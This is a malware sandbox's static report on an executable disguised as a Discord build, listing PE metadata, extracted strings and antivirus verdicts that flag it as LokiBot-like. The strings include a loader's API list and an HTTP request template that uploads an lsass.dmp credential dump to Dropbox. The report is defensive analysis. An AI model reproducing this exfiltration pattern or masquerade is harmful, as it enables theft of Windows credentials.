Static | ZeroBOX

PE Compile Time

2021-05-01 01:11:57

PE Imphash

f34d5f2d4577ed6d9ceec516c1f5a744

Sections

Name Virtual Address Virtual Size Size of Raw Data Entropy
.text 0x00002000 0x00026971 0x00026a00 7.82115786061
.rsrc 0x0002a000 0x00004780 0x00004800 2.95890038131
.reloc 0x00030000 0x0000000c 0x00000200 0.101910425663

Resources

Name Offset Size Language Sub-language File type
RT_ICON 0x0002a06c 0x00004028 LANG_NEUTRAL SUBLANG_NEUTRAL dBase III DBT, version number 0, next free block index 40
RT_GROUP_ICON 0x0002e0d0 0x00000014 LANG_NEUTRAL SUBLANG_NEUTRAL data
RT_VERSION 0x0002e120 0x0000043a LANG_NEUTRAL SUBLANG_NEUTRAL data
RT_MANIFEST 0x0002e596 0x000001ea LANG_NEUTRAL SUBLANG_NEUTRAL XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

Library mscoree.dll:
0x402000 _CorExeMain

!This program cannot be run in DOS mode.
`.rsrc
@.reloc
+;+C+Dt4
jX jX
jX$jX(:
YZjX(:
v4.0.30319
#Strings
IMG_203_65_00201.exe
IMG_203_65_00201
<Module>
<>c__DisplayClass6_0
mscorlib
Object
System
<>o__8
Program
WindowsFormsApp1
CustomLoadLibrary
SslTcpClient
Settings
WindowsFormsApp1.Properties
ApplicationSettingsBase
System.Configuration
Pzpvtq
WindowsFormsApp1.Yrixhppeqbk
Laeytw
WindowsFormsApp1.Boxkffse
Wucmyti
WindowsFormsApp1.Pmqityc
Kfjxuds
WindowsFormsApp1.Tqdwfaamzlk
Oectvrqew
WindowsFormsApp1.Jpkpzbufauml
Oqbfgolhih
WindowsFormsApp1.Itfmsczzxym
Ixstnrqzpl
WindowsFormsApp1.Wqdtdm
Fisukvhca
WindowsFormsApp1.Mnjocoswlh
Nhvushia
WindowsFormsApp1.Lzkhfv
Yiqxvbk
WindowsFormsApp1.Zzrwjwqcv
Yjoulbsbj
WindowsFormsApp1.Elaoik
Azgtmdisbwcmnr
WindowsFormsApp1.Mrkgfwaejdxzwn
Aqxxdxbl
WindowsFormsApp1.Vlcknncjgxtj
Hhejtbqepa
WindowsFormsApp1.Jjaatuselt
Twmjtu
WindowsFormsApp1.Qvqylm
Lruqhuglgtjy
WindowsFormsApp1.Ajrkhnlrdv
Yabwwqvtsia
WindowsFormsApp1.Jlezsxke
PoweredByAttribute
SmartAssembly.Attributes
Attribute
resourceName
<>p__0
System.Core
CallSite`1
System.Runtime.CompilerServices
Action`5
CallSite
defaultInstance
RtlSetCurrentTransaction
TransactionHandle
ntdll.dll
NtRollbackTransaction
GetFileSize
FileHandle
kernel32.dll
CreateFileMapping
lpAttributes
flProtect
dwMaximumSizeHigh
dwMaximumSizeLow
lpName
MapViewOfFile
hFileMappingObject
dwDesiredAccess
dwFileOffsetHigh
dwFileOffsetLow
dwNumberOfBytesToMap
GetEmbeddedResourceContent
CurrentDomain_AssemblyResolve
Assembly
System.Reflection
ResolveEventArgs
sender
Execute
<GetEmbeddedResourceContent>b__0
GetLoadedModuleAddress
DLLName
GetExportAddress
ModuleBase
ExportName
ValidateServerCertificate
X509Certificate
System.Security.Cryptography.X509Certificates
X509Chain
SslPolicyErrors
System.Net.Security
certificate
sslPolicyErrors
RunClient
machineName
project
content
get_Default
.cctor
Default
CompilationRelaxationsAttribute
RuntimeCompatibilityAttribute
DebuggableAttribute
System.Diagnostics
DebuggingModes
AssemblyTitleAttribute
AssemblyDescriptionAttribute
AssemblyConfigurationAttribute
AssemblyCompanyAttribute
AssemblyProductAttribute
AssemblyCopyrightAttribute
AssemblyTrademarkAttribute
ComVisibleAttribute
System.Runtime.InteropServices
GuidAttribute
AssemblyFileVersionAttribute
TargetFrameworkAttribute
System.Runtime.Versioning
CompilerGeneratedAttribute
GeneratedCodeAttribute
System.CodeDom.Compiler
STAThreadAttribute
WindowsFormsApp1.ClassLibrary1.dll
WindowsFormsApp1.Resources.Ohnuqmpv.dll
WindowsFormsApp1.Resources.Kcfvujvwrsz.dll
ResolveEventHandler
String
AppDomain
get_CurrentDomain
add_AssemblyResolve
Func`2
Enumerable
System.Linq
SingleOrDefault
IEnumerable`1
System.Collections.Generic
GetManifestResourceStream
Stream
System.IO
get_Length
GetExecutingAssembly
GetManifestResourceNames
CopyTo
MemoryStream
ToArray
IDisposable
Dispose
GetTypeFromHandle
RuntimeTypeHandle
get_Namespace
Concat
ClassLibrary1
Microsoft.CSharp
CSharpArgumentInfo
Microsoft.CSharp.RuntimeBinder
Create
CSharpArgumentInfoFlags
Binder
InvokeMember
CallSiteBinder
CSharpBinderFlags
Target
Invoke
IntPtr
get_Size
Console
WriteLine
Thread
System.Threading
Activator
CreateInstance
Contains
ProcessModule
get_FileName
ToLower
EndsWith
get_BaseAddress
IEnumerator
System.Collections
MoveNext
get_Current
Process
GetCurrentProcess
get_Modules
ProcessModuleCollection
ReadOnlyCollectionBase
GetEnumerator
ToInt64
op_Explicit
Marshal
ReadInt16
ReadInt32
PtrToStringAnsi
op_Equality
InvalidOperationException
MissingMethodException
RemoteCertificateValidationCallback
SslStream
AuthenticateAsClient
X509CertificateCollection
SslProtocols
System.Security.Authentication
ServicePointManager
System.Net
set_SecurityProtocol
SecurityProtocolType
Exception
get_InnerException
TcpClient
System.Net.Sockets
Encoding
System.Text
get_UTF8
GetByteCount
ToString
GetBytes
GetStream
NetworkStream
LocalCertificateSelectionCallback
AuthenticationException
SettingsBase
Synchronized
WrapNonExceptionThrows
Discord - https://discord.com/
Discord Inc.
4Copyright (c) 2020 Discord Inc. All rights reserved.
$6201958f-dce3-42e6-afc5-0c105927d282
0.0.52.0
.NETFramework,Version=v4.0
FrameworkDisplayName
.NET Framework 4(
#Powered by SmartAssembly 7.5.2.4508
KMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator
11.0.0.0
!This program cannot be run in DOS mode.
`.rsrc
@.reloc
(}4xj8"
v4.0.30319
#Strings
ClassLibrary1
CompilationRelaxationsAttribute
System.Runtime.CompilerServices
mscorlib
System
Boolean
RuntimeCompatibilityAttribute
DebuggableAttribute
System.Diagnostics
DebuggingModes
AssemblyTitleAttribute
System.Reflection
String
AssemblyDescriptionAttribute
AssemblyConfigurationAttribute
AssemblyCompanyAttribute
AssemblyProductAttribute
AssemblyCopyrightAttribute
AssemblyTrademarkAttribute
ComVisibleAttribute
System.Runtime.InteropServices
GuidAttribute
AssemblyFileVersionAttribute
TargetFrameworkAttribute
System.Runtime.Versioning
SuppressIldasmAttribute
a36dae25-1418-4437-b0ca-75ffae48ef59
ClassLibrary1.dll
<Module>
Object
<Module>{44779EC3-6714-4DBA-BAC6-FAE57AE22AA7}
ProccesorWatcher
wnAvGk2ZDkNgZ882lP8.Watchers
Record
MulticastDelegate
wnAvGk2ZDkNgZ882lP8.Resolver
<PrivateImplementationDetails>{E8EC9DDF-8EFF-4161-AF4D-EB2E076E6DD8}
__StaticArrayInitTypeSize=256
ValueType
__StaticArrayInitTypeSize=40
__StaticArrayInitTypeSize=30
__StaticArrayInitTypeSize=32
__StaticArrayInitTypeSize=16
__StaticArrayInitTypeSize=64
__StaticArrayInitTypeSize=18
importer
_Serializer
CancelGetter
ClassLibrary
selection
ToString
StartImporter
AppDomain
Assembly
MethodInfo
get_CurrentDomain
MemberInfo
get_DeclaringType
Activator
CreateInstance
op_Equality
get_Name
InvokeMember
BindingFlags
Binder
GetMethods
GetTypes
Environment
LogoutImporter
MemoryStream
System.IO
GZipStream
System.IO.Compression
Stream
CompressionMode
get_Length
IDisposable
Dispose
CollectGetter
ReadGetter
FillGetter
GetType
PrepareGetter
ToArray
_Mapping
Module
CallGetter
FindGetter
typemdt
FieldInfo
GetFields
ResolveType
get_MetadataToken
Delegate
CreateDelegate
SetValue
.cctor
GetTypeFromHandle
RuntimeTypeHandle
get_Assembly
get_ManifestModule
EnableGetter
ResolveMethod
MethodBase
InvokeGetter
ExcludeGetter
IntPtr
Invoke
BeginInvoke
IAsyncResult
AsyncCallback
callback
object
EndInvoke
result
ChangeGetter
$$method0x6000317-1
$$method0x6000332-1
$$method0x6000332-2
$$method0x6000340-1
$$method0x6000340-2
$$method0x6000353-1
$$method0x6000395-1
$$method0x60005b3-1
CompilerGeneratedAttribute
ClassLibrary1.g.resources
aR3nbf8dQp2feLmk31.lSfgApatkdxsVcGcrktoFd.resources
WrapNonExceptionThrows
ClassLibrary
Copyright
2021
$7c158b45-9dc4-4066-8cda-58e028d1a857
1.0.0.0
.NETFramework,Version=v4.0
FrameworkDisplayName
.NET Framework 4
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
fSystem.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3ajSystem.CodeDom.MemberAttributes, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089mSystem.Globalization.CultureInfo, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089fSystem.Drawing.Size, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Icon
IconData
IconSize
System.Drawing.Size
System.Drawing.Size
height
ISystem, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
System.CodeDom.MemberAttributes
value__
System.Globalization.CultureInfo
m_isReadOnly
compareInfo
textInfo
numInfo
dateTimeInfo
calendar
m_dataItem
cultureID
m_name
m_useUserOverride
System.Globalization.CompareInfo
System.Globalization.TextInfo%System.Globalization.NumberFormatInfo'System.Globalization.DateTimeFormatInfo
System.Globalization.Calendar
System.Globalization.CompareInfo
m_name
win32LCID
culture
m_SortVersion
System.Globalization.SortVersion
System.Globalization.TextInfo
m_listSeparator
m_isReadOnly
m_cultureName
customCultureName
m_nDataItem
m_useUserOverride
m_win32LangID
%System.Globalization.NumberFormatInfo"
numberGroupSizes
currencyGroupSizes
percentGroupSizes
positiveSign
negativeSign
numberDecimalSeparator
numberGroupSeparator
currencyGroupSeparator
currencyDecimalSeparator
currencySymbol
ansiCurrencySymbol
nanSymbol
positiveInfinitySymbol
negativeInfinitySymbol
percentDecimalSeparator
percentGroupSeparator
percentSymbol
perMilleSymbol
nativeDigits
m_dataItem
numberDecimalDigits
currencyDecimalDigits
currencyPositivePattern
currencyNegativePattern
numberNegativePattern
percentPositivePattern
percentNegativePattern
percentDecimalDigits
digitSubstitution
isReadOnly
m_useUserOverride
m_isInvariant
validForParseAsNumber
validForParseAsCurrency
Infinity
-Infinity
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Size
height
DBRfhn M
_CorDllMain
mscoree.dll
jJZCS*
bp~6+5
XlyZXH
C#Q/7<)?TyG\2
LuY*^t
1%[(Vf
3s=N`.e
dQ=W71
t)~$D7
` _WUQ
L4X'6o
9QSxc}
]Rs]=IB
97J_V:
aLE!5y
vA7C x
m_48iTZ
{$`5VY
\z(H<8]
(-4;[4
1} a)T
-i"_]:
0'uVl[z%
ziq0L
oLl^o.
V}}}8
GGe\<g
y ~\Yq
OI<,5=|f
'lW-k+l
-IY:v&u
26GVm=
u)3}/o
S`QpNa
7TXKS9
E0,8+NX
ppS0pD|
xs5Wo~
J>C&o
?6cb_Rhy
&M)NY
VF\F{
J7/P@;
yzmqySF
yp/e`H=
T~fOMu
cFdsF_x\n
7/uv[
%`"\I_W
F"3UsE
N#F5x*
D[`IaK
bgM_/0
;i3~(Y
`fs5<g
etnc7b
m[}[Vn
oub(kI
84|X8q
drS/sE
Ju$rJw~k_S8@
E=W2h}
Nb9u@m
'r/En4
trN:T/
zTXm-qv+k<N
\~?nYmk
khrql{T
?@O*r@Z
}jNl6N
Y8+Q3Qh
lh8mk0<
;o_nl2r
#XQI6(
jyzDXF
kP,G%;
KewIfD
dH.}J#oD
6^yxam<+s
q<P}Z1d
.p1q+c
psoyo6
[)4|ysG
r;{P{C !ln
MS2SfM@9(ZMC2R4
|0Bq,
ap;0R!
@+K5H'
}L d)KC
%&[q|8/
7hXtp{>
u:%Fr
;`|G9>
,7$Q[<
$yuVBw
dg`pO\
(V'DA2s
Y'V3:k:
6HCD&k
f%c~yo
ZHae84
@,ZWk!@
+}c9=g
BX):]D
2@SVN6oU?
{OT4z@
c=Vmg5
^bAaeC
' MuC],'w@
^eBbUa
m,+|k5
3"J*y#D
ag7,qCY
!V<O6J
<vp9zRrw
%g~OKg<
q[7g%3Q
pzr{SL
wyxjEE
?`jQqv~
?%wLnq
B?wqqva
IC'?F]?
Mz,nP{wy
Scn|\{y
V|btm`
"R7lUN;
}]s6]\
U111qC
5zUw2f
5S34*.L5
]~opwfP
.HIXwz
Y[}1;|
7^;E-=VR
Q"UfCiDQ
6z}|s)5
 `gM/
;$+mnD
Gb7!DK
No{Vo^
WZ6iv]
dA'dA_
fcs_jR
s!IunL
XaQpiE
yL]SEW
yHw=k@~
qxNv1j
!TujT#
+y,#.=
>-$N>dY
WYv*A^
m;JRmkzkWA
XeSq0A
BXfLXK4
@ELHKH
( ~H$G
SBzG!+%d
Pji $n
v]_t<.J
\O&6UT>gY
H,P;y/q7
U~M##>
6D+Z;K
!wwdxI
r,>gN'
:1B+ss
et%h1z
CcGYZ[
|0>}J8
rkI{L+z
_\b~3!l"
5@+(c'
D1 .ls
yQTnG@
AobeT@[
umIM]Cf
2z O]<pT0
L<m{QZ
s%#?zc
1CeN3d
*a<En"
,|(0c"
AJeA4}
00SMe]"
d<+MvZ
WYI*+9
]Ki;K8*J
W.W'=S
X-Sf)g
:]OnOM'U
IG~"&#O^
Zgr>>>
S7~5o{[
\.{CJX3+
I|7q##
@c|CDT
'TzuO
L/YBp;
VrO^\4
FviVIV
Vp@wU5R
p&W9o0h
Pbbr7M
kSj][B
]&8L8Z H
mD(x_
mk"UGu
Ux*8>!
X<"RTq
y6ems:S
<j3@C5
;kdUaQE
_|13dN
EEFQVV767
L|'/R)
w?$~lR
+vCx?6WJ@"
Bq=F(
>v<&$
m@ x//
?k@8~$
&~5hC:
dXdXfx
]}+qcX
/C/3~2
_K|[X\
6zhYnb
\rXNP6
z!Hjx#
Q5(4\s:E
FQ4_F((*
i-#do #
[ShH*^
tv)JO"
x;^{3^
eBdkoC
McgGW?A
_CorExeMain
mscoree.dll
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
DigiCert Inc1
www.digicert.com1+0)
"DigiCert EV Code Signing CA (SHA2)0
180314000000Z
210218120000Z0
Delaware1
Private Organization1
51288621
California1
San Francisco1
Discord Inc.1
Discord Inc.0
_v<WBP
US-DELAWARE-51288620
1http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
1http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0K
https://www.digicert.com/CPS0
http://ocsp.digicert.com0H
<http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
DigiCert Inc1
www.digicert.com1+0)
"DigiCert High Assurance EV Root CA0
120418120000Z
270418120000Z0l1
DigiCert Inc1
www.digicert.com1+0)
"DigiCert EV Code Signing CA (SHA2)0
+.+1Xf
http://ocsp.digicert.com0I
=http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
:http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0@
:http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
.http://www.digicert.com/ssl-cps-repository.htm0
DigiCert Inc1
www.digicert.com1+0)
"DigiCert EV Code Signing CA (SHA2)
20200910175959Z
DigiCert Inc1
www.digicert.com1!0
DigiCert Assured ID CA-10
141022000000Z
241022000000Z0G1
DigiCert1%0#
DigiCert Timestamp Responder0
https://www.digicert.com/CPS0
2http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
2http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
http://ocsp.digicert.com0A
5http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
iW!]4/q
DigiCert Inc1
www.digicert.com1$0"
DigiCert Assured ID Root CA0
061110000000Z
211110000000Z0b1
DigiCert Inc1
www.digicert.com1!0
DigiCert Assured ID CA-10
.http://www.digicert.com/ssl-cps-repository.htm0
http://ocsp.digicert.com0C
7http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
4http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
4http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
DigiCert Inc1
www.digicert.com1!0
DigiCert Assured ID CA-1
200910175959Z0#
content.dropboxapi.com
<FOLDER>
<DROPBOX TOKEN>
.ClassLibrary1.dll
Kcfvujvwrsz
Ohnuqmpv
ClassLibrary
ResolveStruct
[*] Done!
Failed to parse module exports.
, export not found.
POST /2/files/upload HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Host: content.dropboxapi.com
Authorization: Bearer
Dropbox-API-Arg: {"path": "/
/lsass.dmp","mode": "overwrite","autorename": false,"mute": false,"strict_conflict": false}
Content-Type: text/plain; charset=dropbox-cors-hack
Content-Length:
)X71XDAX\QX\YX\aX\iX\qX\yX\
X7.[a.Sa.Kg.c
.#J.;a.3a.+a
$this.SnapToGrid
$this.TrayLargeIcon
$this.Icon
$this.Locked
$this.DrawGrid
progressBar1.Modifiers
$this.Localizable
$this.Language
$this.GridSize
$this.TrayHeight
progressBar1.Locked
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
Comments
CompanyName
FileDescription
ClassLibrary
FileVersion
1.0.0.0
InternalName
ClassLibrary1.dll
LegalCopyright
Copyright
2021
LegalTrademarks
OriginalFilename
ClassLibrary1.dll
ProductName
ClassLibrary
ProductVersion
1.0.0.0
Assembly Version
1.0.0.0
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
Comments
Discord - https://discord.com/
CompanyName
Discord Inc.
FileDescription
Discord - https://discord.com/
FileVersion
0.0.52.0
InternalName
IMG_203_65_00201.exe
LegalCopyright
Copyright (c) 2020 Discord Inc. All rights reserved.
LegalTrademarks
OriginalFilename
IMG_203_65_00201.exe
ProductName
Discord - https://discord.com/
ProductVersion
0.0.52.0
Assembly Version
0.0.52.0
RAny use of this Certificate constitutes acceptance of the DigiCert CP/CPS and the Relying Party Agreement which limit liability and are incorporated herein by reference
RAny use of this Certificate constitutes acceptance of the DigiCert CP/CPS and the Relying Party Agreement which limit liability and are incorporated herein by reference
RAny use of this Certificate constitutes acceptance of the DigiCert CP/CPS and the Relying Party Agreement which limit liability and are incorporated herein by reference
Antivirus Signature
Bkav Clean
Elastic Clean
MicroWorld-eScan Gen:Variant.Bulz.458140
FireEye Generic.mg.080f3430fa1c166d
CAT-QuickHeal Trojan.Multi
McAfee RDN/Generic.grp
Cylance Unsafe
VIPRE Trojan.Win32.Generic!BT
AegisLab Clean
Sangfor Clean
CrowdStrike win/malicious_confidence_90% (W)
BitDefender Gen:Variant.Bulz.458140
K7GW Trojan ( 0057b95d1 )
K7AntiVirus Trojan ( 0057b95d1 )
Baidu Clean
Cyren W32/MSIL_Kryptik.EBW.gen!Eldorado
Symantec ML.Attribute.HighConfidence
ESET-NOD32 a variant of MSIL/Kryptik.AASH
APEX Malicious
Avast Win32:Trojan-gen
ClamAV Clean
Kaspersky HEUR:Trojan-Ransom.MSIL.Blocker.gen
Alibaba Backdoor:MSIL/Androm.99a93f04
NANO-Antivirus Clean
ViRobot Clean
Rising Trojan.GenKryptik!8.AA55 (CLOUD)
Ad-Aware Gen:Variant.Bulz.458140
Sophos Mal/Generic-S
Comodo Clean
F-Secure Clean
DrWeb Clean
Zillya Clean
TrendMicro Clean
McAfee-GW-Edition RDN/Generic.grp
CMC Clean
Emsisoft Trojan.Crypt (A)
Ikarus Trojan.MSIL.Inject
GData Gen:Variant.Bulz.458140
Jiangmin Clean
MaxSecure Clean
Avira TR/AD.LokiBot.nvgew
MAX malware (ai score=80)
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Arcabit Clean
SUPERAntiSpyware Clean
ZoneAlarm Clean
Microsoft Trojan:Script/Phonzy.B!ml
Cynet Malicious (score: 100)
AhnLab-V3 Clean
Acronis Clean
BitDefenderTheta Gen:NN.ZemsilF.34686.lm1@aSuiFof
ALYac Gen:Variant.Bulz.458140
TACHYON Clean
VBA32 Clean
Malwarebytes Backdoor.LokiBot
Panda Trj/GdSda.A
Zoner Clean
TrendMicro-HouseCall Trojan.Win32.BULZ.USMANE121
Tencent Clean
Yandex Clean
SentinelOne Static AI - Malicious PE
eGambit PE.Heur.InvalidSig
Fortinet MSIL/GenKryptik.FEPS!tr
Webroot Clean
AVG Win32:Trojan-gen
Cybereason malicious.f374e7
Paloalto generic.ml
Qihoo-360 Clean
No IRMA results available.